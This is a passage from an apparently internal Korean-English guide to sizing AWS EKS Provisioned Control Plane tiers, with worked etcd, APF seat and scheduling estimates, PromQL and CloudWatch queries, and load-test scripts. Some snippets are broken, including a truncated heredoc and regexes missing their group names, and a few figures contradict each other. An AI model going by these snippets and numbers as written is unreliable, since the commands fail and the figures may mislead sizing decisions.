| **Large LIST** (5,000 objects returned) | **~10** | 응답 완료까지 | Work Estimator 최대값 |
| **WATCH** | **1 initially** → **0** | 초기 burst 후 해제 | 장기 연결이지만 seat 해제됨 |
#### 구체적 시나리오 예시 (4XL 클러스터)
**시나리오**: 4XL 클러스터 (총 6,800 seats)에서 다음 요청이 동시에 발생
```
┌─ Concurrent Requests ───────────────────────────────────────────┐
│ │
│ [1] kubectl get pods -A (all namespaces LIST, 50,000 pods) │
│ → Work Estimator: 10 seats × 3s response time = 10 seats │
│ │
│ [2] 20 controllers each running reconciliation loop │
│ → Each controller averages 5 GET + 2 UPDATE concurrent │
│ → 20 × 7 = 140 seats │
│ │
│ [3] CI/CD pipeline deploying 500 Deployments simultaneously │
│ → Each CREATE 1 seat + WATCH notification additional time │
│ → Peak ~500 seats │
│ │
│ [4] Prometheus scraping /metrics endpoints │
│ → Multiple API Servers × 1 seat = few seats │
│ │
│ [5] Other system components (kubelet heartbeat, node status) │
│ → 10,000 nodes × kubelet avg 0.1 concurrent = ~1,000 seats│
│ │
│ Total: 10 + 140 + 500 + few + 1,000 = ~1,653 seats (of 6,800) │
│ → Headroom: ~75% ✅ │
└──────────────────────────────────────────────────────────────────┘
```
**Same scenario on XL cluster?**:
- XL total seats = 1,700
- Same load 1,653 seats → ~97% utilization — **approaching limit**
- **In 10,000-node environments, kubelet heartbeat, node status updates occur continuously**
- During peak LIST request bursts, seat consumption spikes, causing 429 errors
- **Actually 4XL+ is recommended**
#### APF PriorityLevel 분배 예시 (4XL Basis)
Cluster-wide APF Seats are proportionally distributed to PriorityLevelConfigurations on each API Server. Below is an individual API Server example:
```
개별 API Server APF Seat Distribution Example
│
├─ system (highest priority) ─── ~5% = ~113 seats ← kube-system core components
├─ leader-election ─── ~5% = ~113 seats ← Leader election requests
├─ node-high ─── ~10% = ~227 seats ← kubelet core requests
├─ workload-high ─── ~10% = ~227 seats ← Critical workloads
├─ workload-low ─── ~15% = ~340 seats ← General workloads
├─ global-default ─── ~15% = ~340 seats ← Unclassified requests
├─ catch-all ─── ~5% = ~113 seats ← Lowest priority
└─ exempt ─── Unlimited ← system:masters, etc.
```
> **Key point**: Even with sufficient total seats, **if a specific PriorityLevel saturates**, only requests in that group get rejected with 429. For example, if the 340 seats allocated to `workload-low` saturate, regular user kubectl requests may be rejected.
### 1.6 Large-Scale Cluster Scenario: 10,000 Nodes × 100 Pods Environment PCP Sizing
#### Assumptions
```
Cluster Scale:
- Worker Nodes: 10,000
- Pods per Node: 100
- Total Pods: 1,000,000 (1 million)
CRD Usage Scenario:
- CRD Type A (network policy): 1 per node = 10,000 × ~2 KB = ~20 MB
- CRD Type B (service mesh sidecar config): 1 per pod = 1,000,000 × ~1 KB = ~1 GB
- CRD Type C (certificate management): 1 per service = 5,000 × ~3 KB = ~15 MB
- CRD Type D (monitoring rules): 1 per namespace = 200 × ~5 KB = ~1 MB
```
#### Step 1: etcd DB 크기 산정
```
[K8s Built-in Objects]
Pod: 1,000,000 × ~1.5 KB = ~1.5 GB
Node: 10,000 × ~5 KB = ~50 MB
Service: 5,000 × ~1 KB = ~5 MB
Endpoint/EndpointSlice: 15,000 × ~2 KB = ~30 MB
ConfigMap: 10,000 × ~1 KB = ~10 MB
Secret: 20,000 × ~1 KB = ~20 MB
Deployment/ReplicaSet: 10,000 × ~2 KB = ~20 MB
Namespace: 200 × ~0.5 KB = ~0.1 MB
ServiceAccount: 10,000 × ~0.5 KB = ~5 MB
Event: 50,000 × ~1 KB = ~50 MB ← Separate partition on XL+
──────────────────────────────────────────────────────
Subtotal: ~1.69 GB
[CRD Objects]
Type A (network policy): 10,000 × 2 KB = ~20 MB
Type B (sidecar config): 1,000,000 × 1 KB = ~1.0 GB
Type C (certificates): 5,000 × 3 KB = ~15 MB
Type D (monitoring rules): 200 × 5 KB = ~1 MB
──────────────────────────────────────────────────────
Subtotal: ~1.04 GB
[MVCC Revision Overhead]
Pod status updates: Every 30s × 1,000,000 pods → ~33,333 updates/sec
CRD Type B updates: Every 60s → ~16,667 updates/sec
Compaction cycle: 5 minutes = 300 seconds
Accumulated revisions in 5 min = (33,333 + 16,667) × 300 = ~15,000,000 revisions
Additional size per revision ≈ avg ~0.1 KB (changed fields only)
→ MVCC overhead: ~15,000,000 × 0.1 KB = ~1.5 GB (at peak)
※ Immediately after compaction, this overhead approaches zero
※ In reality, compaction and updates proceed simultaneously, so
steady-state MVCC overhead ≈ 1-2x data size estimated
[Total etcd DB Size Estimate]
─────────────────────────────────────────────────────────
Built-in objects: ~1.69 GB
CRD objects: ~1.04 GB
MVCC Revision overhead (steady-state): ~2.73 GB (1x multiplier applied)
─────────────────────────────────────────────────────────
Total: ~5.46 GB
Peak (pre-compaction): ~8.19 GB (1.5x multiplier applied)
─────────────────────────────────────────────────────────
```
> **Verdict**: At ~8.2 GB peak, Standard's 8 GB limit is exceeded. **XL+ (16 GB) is required** and provides safe margin.
#### Step 2: API Concurrency (Seats) Requirement Estimation
```
[Continuous API Load — Ongoing Requests]
kubelet heartbeat (NodeStatus):
10,000 nodes × (1 UPDATE / 10s) = 1,000 req/sec
Concurrent processing (avg 50ms response time):
1,000 × 0.05 = ~50 seats (1 seat each)
kubelet Pod status updates:
Only changed pods → avg ~500 UPDATE/sec
Concurrent: 500 × 0.05 = ~25 seats
kube-controller-manager:
GC, HPA, Job, etc. multiple controllers → avg ~100 concurrent seats
kube-scheduler:
New/reschedule pods → avg ~50 concurrent seats
CRD controllers (4 types):
Each controller's reconciliation loop → avg ~200 concurrent seats
Other systems (DNS, CNI, monitoring, etc.):
→ ~100 concurrent seats
──────────────────────────────────────────
Baseline Seats Consumption: ~525 seats
──────────────────────────────────────────
[Peak Additional Load]
Large rolling update (100 Deployments simultaneously):
→ +500 seats (CREATE/UPDATE surge)
Full Pod LIST (monitoring dashboard, kubectl):
→ LIST 1,000,000 pods = ~10 seats × 3 concurrent = +30 seats
→ Response time lengthens, increasing seat occupation time
HPA scaling events:
→ +100 seats
──────────────────────────────────────────
Peak Total Seats Consumption: ~1,155 seats
──────────────────────────────────────────
```
#### Step 3: Scheduling Throughput Requirement Estimation
```
[Normal Operations]
Daily avg deployments: ~200
Avg pods per deployment: ~50
Daily scheduling total: 200 × 50 = 10,000 pods/day
Per-second avg: ~0.12 pods/sec → All tiers sufficient
[Peak Scenario — Large Rollout]
10 simultaneous Deployments × 100 replicas = 1,000 pods in 5 minutes
Required throughput: 1,000 / 300s = ~3.3 pods/sec → All tiers sufficient
[Extreme Scenario — Node Failure Mass Rescheduling]
AZ failure, 3,333 nodes (1/3) with 333,300 pods need rescheduling
Target recovery time 15 minutes: 333,300 / 900s = ~370 pods/sec
→ 4XL (400 pods/sec) or higher required
```
#### Step 4: Comprehensive PCP Tier Sizing Result
```
┌───────────────────────────────────────────────────────────────────┐
│ 10K Nodes × 100 Pods Environment Comprehensive Sizing │
├──────────────────┬──────────┬──────────┬────────────┬────────────┤
│ Evaluation Item │ Required │ Tier │ Standard │ Verdict │
├──────────────────┼──────────┼──────────┼────────────┼────────────┤
│ etcd DB Size │ ~8.2 GB │ XL+ │ 8GB limit │ ❌ Exceeded│
│ (at peak) │ (peak) │ (16GB) │ No margin │ │
├──────────────────┼──────────┼──────────┼────────────┼────────────┤
│ API Concurrency │ ~1,155 │ XL │ Auto-scale │ Near floor │
│ (peak seats) │ seats │ (1,700) │ │ │
├──────────────────┼──────────┼──────────┼────────────┼────────────┤
│ Pod Scheduling │ ~370 │ 4XL │ Auto-scale │ ❌ Insufficient │
│ (AZ failure) │ pods/sec │ (400) │ │ │
├──────────────────┼──────────┼──────────┼────────────┼────────────┤
│ SLA requirement │ 99.99% │ XL+ │ 99.95% │ Not met │
├──────────────────┴──────────┴──────────┴────────────┴────────────┤
│ │
│ ✅ Final Recommendation: 4XL │
│ │
│ Rationale: │
│ 1. etcd 16GB provides sufficient margin at peak (8.2/16 = 51%) │
│ 2. API Concurrency 6,800 seats adequate for peak (1,155/6,800=17%)│
│ 3. AZ failure requires 370 pods/sec recovery → 4XL's 400 needed │
│ 4. Multiple API Servers via horizontal scaling → distributes │
│ large LIST load │
│ 5. 99.99% SLA guarantee │
│ │
│ ⚠️ If AZ failure recovery time can be relaxed to 30 minutes: │
│ 333,300 / 1,800s = ~185 pods/sec → 2XL (283 pods/sec) viable│
│ │
└───────────────────────────────────────────────────────────────────┘
```
#### PCP 티어 산정 공식 요약
```
[Formula 1: etcd DB Size]
Required etcd size = (Built-in object total + CRD object total) × MVCC multiplier
MVCC multiplier:
- Low update frequency (< hundreds/min): 1.5x
- Medium update frequency (thousands/min): 2.0x
- High update frequency (thousands/sec): 3.0x ~ 5.0x
Standard suitable: Required < 6.4 GB (8 GB limit, 20% safety margin)
XL+ suitable: Required < 12.8 GB (16 GB limit, 20% safety margin)
[Formula 2: API Concurrency (Seats)]
Peak Seats = Σ(per-component req/sec × avg response time) + LIST additional seats
Individual request seats = 1 (simple GET/POST/PUT/DELETE)
LIST request seats = min(ceil(expected returned objects / 500), 10)
WRITE additional seats = seat × (1 + watch_notification_factor)
Required tier (EKS 1.30–1.33 기준):
Peak Seats < 1,700 → Standard or XL
Peak Seats < 3,400 → 2XL
Peak Seats < 6,800 → 4XL
Peak Seats < 13,600 → 8XL
EKS 1.34+ 기준: XL=2,000 / 2XL=4,000 / 4XL=8,000 / 8XL=16,000
[Formula 3: Scheduling Throughput]
Required Scheduling Rate = Concurrent reschedule pod count / target recovery time(sec)
Required tier:
Rate < 100 → Standard
Rate < 283 → XL
Rate < 400 → 2XL / 4XL / 8XL (same)
[Final Tier = max(Formula1 result, Formula2 result, Formula3 result)]
```
### 1.7 Production Environment Practical Object Quantities
#### Theoretical Maximum Based on etcd DB Size (PCP 16GB Basis)
| Object Type | Typical Size | Theoretical Maximum Count | Practical Recommended Limit (50% safety margin) |
|------------|-------------|:------------------------:|:----------------------------------------------:|
| Small CRD (< 1 KB) | ~0.5 - 1 KB | Millions ~ 16M+ | ~8M |
| Typical CRD (1 ~ 5 KB) | ~2 - 3 KB | 3M ~ 8M | ~1.5M ~ 4M |
| Medium CRD (5 ~ 10 KB) | ~5 - 10 KB | 1.5M ~ 3M | ~750K ~ 1.5M |
| Large CRD (100 KB+) | ~100 - 300 KB | 50K ~ 160K | ~25K ~ 80K |
| etcd single object maximum | **1.5 MiB** (hard limit) | - | - |
> **Why 50% safety margin on practical limits**: Must account for MVCC revision accumulation, update frequency, and space occupied by existing K8s built-in objects (Pod, ConfigMap, Secret, etc.).
#### Actual Benchmarks and Customer Cases
| 사례 | 오브젝트 수 | 티어 | 결과 |
|------|-------------|------|--------|
| **AWS PCP Official Benchmark** | ~760,000 K8s objects | 4XL | API P99 < 1s, Scheduler ~350 pods/sec maintained |
| **Company S** (Cloud/SaaS, cert-manager) | ~200K CRDs + ~400K related = ~600K | PCP recommended | 안정 운영 |
| **Company C** (Networking/Security, accessrulegroups) | ~12,500 CRDs | - | ~300 KB each → LIST timeout (size issue) |
| **Kyverno admissionreports leak** (open-source controller) | 1,565,106 | Standard | etcd DB exceeded → failure |
#### Recommended Workload Scale Guide by Tier
| Tier | Total K8s Objects | CRD Avg Size | API Concurrency Demand | Suitable Use Cases | Monthly Cost Reference |
|------|:-----------------:|:------------:|:----------------------:|--------------------|-----------------------:|
| **Standard** | < 100K | < 10 KB | Low | Small/medium clusters, dev/staging | ~$73 |
| **XL** | 100K ~ 300K | < 10 KB | Medium | Medium production, typical CRD usage | ~$1,277 |
| **2XL** | 300K ~ 500K | < 10 KB | High | Large production, multiple controllers | ~$2,555 |
| **4XL** | 500K ~ 760K+ | < 50 KB | Very High | Ultra-large scale, heavy CRD workloads | ~$5,110 |
#### Specific Impact of CRDs on Control Plane
CRD operations have unique performance characteristics distinct from built-in resources:
| Impact Area | Description | Risk Level |
|------------|-------------|:----------:|
| **DB Size Growth** | CRD objects directly occupy etcd storage | High |
| **Watch Stream Load** | CRD controllers create Watch streams increasing etcd gRPC load | High |
| **Request Size** | Individual CRD objects can exceed 1.5MB etcd request limit | Medium |
| **List Call Cost** | CRDs use JSON encoding (not protobuf) → LIST/WATCH performance significantly degraded vs built-in resources | High |
### 1.8 티어 선택 의사결정 트리
```
Calculate Total CRD Object Capacity
│
├─ Total objects × avg size < 5 GB
│ ├─ Low update frequency (< hundreds/min) → Standard
│ └─ High update frequency (thousands/min+) → XL (revision accumulation buffer)
│
├─ Total objects × avg size = 5 ~ 10 GB
│ ├─ API concurrency < 1,700 seats → XL
│ └─ API concurrency > 1,700 seats → 2XL
│
├─ Total objects × avg size = 8 ~ 16 GB
│ ├─ API concurrency < 3,400 seats → 2XL
│ └─ API concurrency > 3,400 seats → 4XL
│
└─ Total objects × avg size > 16 GB (exceeds XL+ etcd limit)
└─ Not viable as single cluster → Consider cluster splitting
```
**PCP Core Design Principles**:
1. Tier determined by K8s metrics that drive billing (inflight requests, scheduler QPS, etcd DB size)
2. Availability prioritized over cost
3. Standard tier guarantees minimum Kubernetes upstream defaults or higher
### 1.9 APF Seat Actual Usage Monitoring Guide — Determine Tier by "Measurement," Not "Claims"
Cluster scale (node count, pod count) alone cannot accurately determine required PCP tier. **Even with identical 10,000 nodes, actual seat consumption can differ by 10x+ depending on workload patterns.** Therefore, **measure your cluster's actual APF seat usage** before determining tier.
#### Method 1: CloudWatch Vended Metrics (Free, Simplest)
For K8s 1.28+ clusters, available in CloudWatch `AWS/EKS` namespace without additional setup.
**Key Metric**: `apiserver_flowcontrol_current_executing_seats`
```
CloudWatch Console Path:
CloudWatch → Metrics → AWS/EKS → ClusterName
→ apiserver_flowcontrol_current_executing_seats
Recommended Settings:
- Statistic: Maximum (use Max, not Average, to capture peaks)
- Period: 1 minute
- Observation period: Minimum 1 week (including business peaks)
```
**CloudWatch Alarm Setup Example**:
```
Alarm Condition: apiserver_flowcontrol_current_executing_seats
Maximum > (80% of current tier limit) for 5 datapoints within 5 minutes
Example (XL tier):
Maximum > 1,360 (= 1,700 × 80%) → Alert to consider 2XL upgrade
```
#### Method 2: Prometheus Direct Scraping (Detailed Analysis)
Verify per-PriorityLevel seat distribution and consumption to **analyze which workloads consume most seats**.
```bash
# Direct API Server metrics query
kubectl get --raw=/metrics | grep apiserver_flowcontrol
# Or use PromQL if Prometheus is deployed
```
**4 Core PromQL Queries**:
```promql
# ① Current total seats in use (cluster-wide, most important)
sum(apiserver_flowcontrol_current_executing_seats{})
# ② Usage vs limit by PriorityLevel — identify saturation
# (usage)
sum by (priority_level)(apiserver_flowcontrol_current_executing_seats{})
# (limit)
sum by (priority_level)(apiserver_flowcontrol_nominal_limit_seats{})
# (utilization %)
sum by (priority_level)(apiserver_flowcontrol_current_executing_seats{})
/ sum by (priority_level)(apiserver_flowcontrol_nominal_limit_seats{})
* 100
# ③ Requests waiting in APF queue (> 0 indicates capacity shortage)
sum by (priority_level)(apiserver_flowcontrol_current_inqueue_requests{})
# ④ Requests rejected by APF (429 occurrences — should be 0)
sum(rate(apiserver_flowcontrol_rejected_requests_total{}[5m]))
```
#### Method 3: kubectl One-liner — Check Right Now
Even without Prometheus, you can check directly from the API Server metrics endpoint.
```bash
# Check current total seats in use
kubectl get --raw=/metrics | grep 'apiserver_flowcontrol_current_executing_seats{' \
| awk '{sum+=$2} END {print "Current seats in use:", sum}'
# Seat usage by PriorityLevel
kubectl get --raw=/metrics | grep 'apiserver_flowcontrol_current_executing_seats{' \
| sort -t' ' -k2 -rn | head -10
# Allocated limit by PriorityLevel
kubectl get --raw=/metrics | grep 'apiserver_flowcontrol_nominal_limit_seats{' \
| sort -t' ' -k2 -rn
# Check rejected requests (if not 0, immediate action needed)
kubectl get --raw=/metrics | grep 'apiserver_flowcontrol_rejected_requests_total{' \
| awk '{sum+=$2} END {print "Total rejected requests:", sum}'
# Check etcd DB size
kubectl get --raw=/metrics | grep 'apiserver_storage_size_bytes{' \
| awk '{sum+=$2} END {printf "etcd DB size: %.2f GB\n", sum/1024/1024/1024}'
```
#### Measurement Result Interpretation Guide
```
Measured Peak Seat Usage
│
├─ Peak < 1,000 seats
│ └─ Standard or XL sufficient
│ (However, if even 1 instance of 429 error, XL+ needed)
│
├─ Peak 1,000 ~ 1,400 seats
│ └─ XL recommended (1,700 seats, ~18-41% headroom)
│
├─ Peak 1,400 ~ 2,700 seats
│ └─ 2XL recommended (3,400 seats, ~21-59% headroom)
│
├─ Peak 2,700 ~ 5,400 seats
│ └─ 4XL recommended (6,800 seats, ~21-60% headroom)
│
└─ Peak > 5,400 seats
└─ 8XL (13,600 seats) or 클러스터 분리 검토
⚠️ Important: Maintain minimum 20% safety margin.
When peak reaches 80% of limit, evaluate higher tier.
Reason: Need buffer for unexpected bursts (mass retry after
deploy failure, runaway controller infinite LIST, etc.).
```
#### 고객 측정 요청 템플릿
Share the following with customers to collect 1 week of data for appropriate tier determination:
```
[Request]
Please collect the following 3 metrics from your current cluster over 1 week (including business peaks).
1. APF Seat Peak Usage:
CloudWatch → AWS/EKS → apiserver_flowcontrol_current_executing_seats
→ Maximum value (1-minute interval), max over 1 week
2. 429 Error Occurrences:
CloudWatch → AWS/EKS → apiserver_request_total_429
→ Sum value, whether any non-zero timepoints exist
3. etcd DB Size:
CloudWatch → AWS/EKS → apiserver_storage_size_bytes
→ Maximum value, max over 1 week
[Additional Helpful Information]
- Total node count, total pod count
- CRD types and counts (kubectl get crd results)
- Total CRD objects by resource type
- Daily deployment frequency and scale
```
---
## 2. EKS 컨트롤 플레인 아키텍처 개선 효과
> **핵심 요약:** EKS has continuously improved etcd architecture to achieve **consistent latency, enhanced availability, etcd DB 16GB expansion (XL+), Event Sharding, and API Server horizontal scaling**. Monitor etcd DB size using the `apiserver_storage_size_bytes` metric.
### 2.1 개요
AWS continuously enhances the EKS control plane etcd architecture, delivering higher performance and availability. These improvements provide direct benefits to customers across all PCP tiers.
### 2.2 Performance Improvement Benefits for Customers
| Area | Improvement | Detailed Description |
|------|------------|----------------------|
| **Predictable Performance** | Consistent etcd latency | Architecture improvements reduce etcd write latency variance, providing stable API response times |
| **Enhanced Data Durability** | Stronger data consistency | Data inconsistency potential significantly reduced |
| **Improved Availability** | Infrastructure optimization | Reduced failure points improve overall availability |
| **etcd DB Size Expansion** | 16 GB etcd DB (XL+) | 2x expansion vs Standard's 8 GB, accommodating large-scale CRD workloads |
| **etcd Event Sharding** | Event objects isolated to separate partition | On XL+ tiers, events don't impact main etcd |
| **API Server Horizontal Scaling** | Multiple API Server operations | Higher tiers enable API Server horizontal scaling for load distribution |
### 2.3 XL 이상 티어에서만 사용 가능한 기능
| Feature | Standard | XL+ |
|---------|:--------:|:---:|
| API Server Horizontal Scaling | Basic configuration | Scalable |
| etcd DB Size | 8 GB | 16 GB |
| etcd Event Sharding | Not supported | Supported (events in separate partition) |
| SLA | 99.95% | 99.99% |
---
## 3. EKS 컨트롤 플레인 성능 검증 방법론
> **핵심 요약:** **ClusterLoader2 (CL2)** is the standard load testing tool used by both AWS and the Kubernetes community, including in AWS PCP official benchmarks. Testing follows a **5-phase strategy** (Baseline → Ramp-up → Sustained Peak → Burst → Recovery), but requires at minimum **deploying Prometheus to collect detailed APF metrics and etcd metrics** for accurate bottleneck analysis. **Success criteria** follows official Kubernetes SLI/SLO: API Mutating P99 ≤ 1s, Cluster LIST P99 ≤ 30s, Pod Scheduling P99 ≤ 5s. **CloudWatch free metrics cover**: 429 errors, API P99 latency, etcd DB size, APF seat usage, scheduling attempts. **Prometheus required for**: etcd latency, APF queue depth, KCM workqueue depth, per-PriorityLevel saturation analysis.
### 3.1 Testing Tool: ClusterLoader2 (CL2)
Both AWS and the Kubernetes community use **ClusterLoader2** as the standard load testing tool. AWS PCP launch blog benchmarks were performed with this tool.
#### Installation and Build
```bash
git clone https://github.com/kubernetes/perf-tests.git \
"/Users/$USER/go/src/k8s.io/perf-tests"
cd "/Users/$USER/go/src/k8s.io/perf-tests/clusterloader2"
GOPROXY=direct go build -o /tmp/clusterloader ./cmd/
```
#### Execution Method
```bash
# Create override file
cat > /tmp/overrides.yaml < \
--provider "eks" \
--report-dir ./results \
--alsologtostderr
```
#### Key Override Parameters
| Parameter | Description | Small Test | Large Test |
|-----------|-------------|:----------:|:----------:|
| `NODES_PER_NAMESPACE` | Nodes per namespace | 10 | 50 |
| `PODS_PER_NODE` | Pods per node | 10 | 30 |
| `CL2_LOAD_TEST_THROUGHPUT` | Client-side requests per second | 50 | 1200 |
| `BIG_GROUP_SIZE` | Large Deployment size | 25 | 25 |
| `MEDIUM_GROUP_SIZE` | Medium Deployment size | 10 | 10 |
| `SMALL_GROUP_SIZE` | Small Deployment size | 5 | 5 |
| `CL2_SCHEDULER_THROUGHPUT_THRESHOLD` | Scheduler throughput threshold | 20 | 100 |
### 3.2 테스트 시나리오 유형
| Test Type | Purpose | CL2 Config |
|-----------|---------|------------|
| **Load Test** | Measure service behavior at expected peak load | `testing/load/config.yaml` |
| **Density Test** | Verify stability at specific node/pod density | `testing/density/config.yaml` |
| **Scheduler Throughput** | Measure pod scheduling throughput limits | CL2 + scheduler throughput override |
| **API Request Benchmark** | Measure latency/throughput per API verb | `testing/request-benchmark` |
| **Stress Test** | Apply load exceeding normal operating range, observe recovery | CL2 + gradual load increase |
### 3.3 5-Phase Load Testing Strategy
```
Phase 1: Baseline Measurement
├── Collect key metrics under current workload
├── Analyze API request patterns (by verb, by resource)
└── Record etcd DB size and object counts
Phase 2: Ramp-up
├── Gradually increase pods/deployments with CL2
├── Monitor SLI/SLO thresholds at each step
└── Record when 429 errors or P99 > SLO occurs
Phase 3: Sustained Peak
├── Maintain target load for 30+ minutes
├── Verify stability (no metric fluctuation)
└── Observe control plane auto-scaling (Standard)
Phase 4: Burst Testing
├── Simulate sudden load spikes
├── For PCP, verify immediate response capability
└── For Standard, measure auto-scaling reaction time
Phase 5: Recovery Testing
├── Measure metric normalization time after load removal
└── Verify residual queue depth, latency, etc.
```
### 3.4 간단한 스크립트 기반 테스트 (Without CL2)
```bash
# 1. Mass Deployment creation for API load test
for i in $(seq 1 500); do
kubectl create deployment test-$i --image=nginx --replicas=10 &
done
wait
# 2. Mass ConfigMap creation for etcd write load
for i in $(seq 1 10000); do
kubectl create configmap test-cm-$i --from-literal=key=value &
done
# 3. Mass LIST calls for read load
while true; do kubectl get pods --all-namespaces > /dev/null; done
```
### 3.5 Official Kubernetes SLI/SLO Standards (Validation Success Criteria)
| SLI | SLO | Metric |
|-----|-----|--------|
| API Call Latency (Mutating, resource-scope) | P99 ≤ 1s | `apiserver_request_sli_duration_seconds` |
| API Call Latency (Read-only, resource-scope) | P99 ≤ 1s | `apiserver_request_sli_duration_seconds` |
| API Call Latency (Namespace-scope LIST) | P99 ≤ 30s | `apiserver_request_sli_duration_seconds` |
| API Call Latency (Cluster-scope LIST) | P99 ≤ 30s | `apiserver_request_sli_duration_seconds` |
| Pod Startup Latency | P99 ≤ 5s (excluding image pull/init) | `kubelet_pod_start_sli_duration_seconds` |
| Pod Scheduling Latency | P99 ≤ 5s | `scheduler_pod_scheduling_sli_duration_seconds` |
### 3.6 주요 모니터링 메트릭 — 수집 경로별 가용성 by Collection Path
EKS provides 4 dimensions of Control Plane observability:
| # | Channel | Cost | Setup | Data Provided | PCP Support |
|---|---------|------|-------|---------------|-------------|
| 1 | CloudWatch Vended Metrics | Free | Automatic (v1.28+) | Core K8s metrics (time series) | Includes tier usage metrics |
| 2 | Prometheus Endpoint | Free (scraping) | Manual configuration | KCM/KSH/etcd detailed metrics | Scalable |
| 3 | Control Plane Logging | CloudWatch standard rates | Manual activation | Logs (API/Audit/Auth/CM/Sched) | — |
| 4 | Cluster Insights | Free | Automatic | Cluster health/upgrade recommendations | PCP tier recommendations (future) |
| 5 | EKS Console Dashboard | Free | Automatic | Visualized metrics + log queries | Tier information displayed |
#### CloudWatch Vended Metrics (Free, Automatic)
Automatically published to `AWS/EKS` namespace for K8s 1.28+.
| Component | Metric | Description | Priority |
|-----------|--------|-------------|:--------:|
| API Server | `apiserver_request_total` | Total API requests | Critical |
| API Server | `apiserver_request_total_4xx` | 4xx error requests | Critical |
| API Server | `apiserver_request_total_5xx` | 5xx error requests | Critical |
| API Server | `apiserver_request_total_429` | 429 Throttling requests | Critical |
| API Server | `apiserver_request_duration_seconds` | API request latency | Recommended |
| API Server | `apiserver_storage_size_bytes` | etcd storage size | Critical |
| API Server | `apiserver_flowcontrol_current_executing_seats` | Current APF seats in use (PCP core) | Critical |
| Scheduler | `scheduler_schedule_attempts_total` | Total scheduling attempts | Recommended |
| Scheduler | `scheduler_schedule_attempts_SCHEDULED` | Successful schedules | Critical |
| Scheduler | `scheduler_schedule_attempts_UNSCHEDULABLE` | Unschedulable count | Recommended |
#### Prometheus Scraping Endpoints (K8s 1.28+)
```bash
# API Server metrics (existing)
kubectl get --raw=/metrics
# Kube-Controller-Manager metrics
kubectl get --raw=/apis/metrics.eks.amazonaws.com/v1/kcm/container/metrics
# Kube-Scheduler metrics
kubectl get --raw=/apis/metrics.eks.amazonaws.com/v1/ksh/container/metrics
# etcd metrics (support varies by cluster version)
kubectl get --raw=/apis/metrics.eks.amazonaws.com/v1/etcd/container/metrics
```
> **참고:** Using Amazon Managed Prometheus (AMP) Agentless Collector (Poseidon) enables automatic collection of Control Plane metrics to AMP workspace without installing Prometheus in-cluster.
### 3.7 Load Testing Checklist (10 Items)
| # | Verification Item | Metric/Method | CW Free |
|---|------------------|---------------|:-------:|
| 1 | Are API requests rejected with 429? | `apiserver_request_total_429` (CW) or `apiserver_flowcontrol_rejected_requests_total` (Prometheus) | O |
| 2 | Is API P99 latency within 1 second? | `apiserver_request_duration_seconds_*_P99` (CW) or `apiserver_request_sli_duration_seconds` (Prometheus) | O |
| 3 | Is etcd the bottleneck? | Compare `etcd_request_duration_seconds` vs `apiserver_request_duration_seconds` | X (Prometheus needed) |
| 4 | Is APF queue full? | `apiserver_flowcontrol_current_inqueue_requests` | X (Prometheus needed) |
| 5 | Which APF priority group is saturated? | Compare `apiserver_flowcontrol_nominal_limit_seats` vs actual usage | X (Prometheus needed) |
| 6 | Is pod scheduling delayed? | `scheduler_pending_pods` (CW), `scheduler_pod_scheduling_sli_duration_seconds` (Prometheus) | Partial |
| 7 | Is etcd DB size approaching limit? (Standard 8GB, XL+ 16GB) | `apiserver_storage_size_bytes` | O |
| 8 | Is there asymmetric traffic? | Individual API server inflight request count (**check max, not avg**) | O |
| 9 | Is a specific client making excessive LISTs? | Analyze LIST frequency/latency by userAgent in Audit logs | CW Logs |
| 10 | Are KCM controller queues backing up? | `workqueue_depth` | X (Prometheus needed) |
> **Recommendation:** During load testing, **strongly recommend deploying at minimum Prometheus to collect detailed APF metrics and etcd metrics**.
### 3.8 유용한 PromQL 쿼리
```promql
# API request latency heatmap (most important)
max(increase(apiserver_request_duration_seconds_bucket{
subresource!="status",subresource!="token",subresource!="scale",
subresource!="/healthz",subresource!="binding",subresource!="proxy",
verb!="WATCH"
}[$__rate_interval])) by (le)
# APF seat utilization (PCP tier monitoring)
max without(instance)(apiserver_flowcontrol_nominal_limit_seats{})
# 429 error rate
sum(rate(apiserver_request_total{code="429"}[5m]))
/ sum(rate(apiserver_request_total[5m]))
# 5xx error rate
sum(rate(apiserver_request_total{code=~"5.."}[5m]))
/ sum(rate(apiserver_request_total[5m]))
```
### 3.9 유용한 CloudWatch Logs Insights 쿼리
```sql
-- Find slowest API calls
fields @timestamp, @message
| filter @logStream like "kube-apiserver-audit"
| filter ispresent(requestURI)
| filter verb = "list"
| parse requestReceivedTimestamp /\d+-\d+-(?\d+)T(?\d+):(?\d+):(?\d+).(?\d+)Z/
| parse stageTimestamp /\d+-\d+-(?\d+)T(?\d+):(?\d+):(?\d+).(?\d+)Z/
| fields (StartHour*3600+StartMinute*60+StartSec+StartMsec/1000000) as StartTime,
(EndHour*3600+EndMinute*60+EndSec+EndMsec/1000000) as EndTime,
(EndTime-StartTime) as DeltaTime
| stats avg(DeltaTime) as AvgLatency, count(*) as Count by requestURI, userAgent
| filter Count >= 50
| sort AvgLatency desc
-- Analyze CRD API call patterns
fields @timestamp, userAgent, verb, requestURI
| filter requestURI like /customresourcedefinitions/
| stats count(*) by verb, userAgent
| sort count(*) desc
| limit 20
-- API QPS from KCM by controller
fields @timestamp, userAgent, @message
| filter @logStream like "kube-apiserver-audit"
| filter user.username like "system:serviceaccount:kube-system:"
| filter verb not like "WATCH"
| stats count(*) as calls by user.username, bin(1m)
| sort calls desc
```
### 3.10 API vs etcd Bottleneck Identification
```
API latency high?
│
├─ etcd_request_duration_seconds also high?
│ └─ YES → etcd is bottleneck (etcd overload, disk I/O, etc.)
│
├─ etcd normal but API slow?
│ ├─ Webhook latency high? → Admission Webhook is bottleneck
│ ├─ APF queue wait high? → API Server concurrency insufficient → Consider tier upgrade
│ └─ Only LIST requests slow? → Optimize large LISTs (server-side filtering, pagination)
│
└─ Both normal but 429 occurring?
└─ Review APF configuration (specific priority group saturation)
```
### 3.11 PCP 티어별 업그레이드 판단 기준 요약
| Current Tier | Key Monitoring Metrics | Upgrade Condition | Action |
|-------------|------------------------|-------------------|--------|
| Standard | `apiserver_request_total_429` | > 0 sustained | Consider XL+ upgrade |
| XL | `apiserver_flowcontrol_current_executing_seats` | > 80% of limit (~1,360) | Consider 2XL upgrade |
| 2XL | `apiserver_flowcontrol_current_executing_seats` | > 80% of limit (~2,720) | Consider 4XL upgrade |
| XL+ | `apiserver_storage_size_bytes` | > 12.8GB (16GB limit) | Storage optimization needed |
| All tiers | `scheduler_schedule_attempts_UNSCHEDULABLE` | > 0 sustained | Check node resource shortage |
---
## Related Resources
### AWS Official Documentation
